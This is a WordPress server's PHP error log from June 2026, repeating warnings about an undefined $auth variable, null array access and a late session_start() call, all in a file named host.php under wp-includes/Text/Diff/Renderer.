[09-Jun-2026 01:19:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 613
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 613
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[09-Jun-2026 01:19:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[09-Jun-2026 01:19:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 05:39:56 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:37 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:47 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
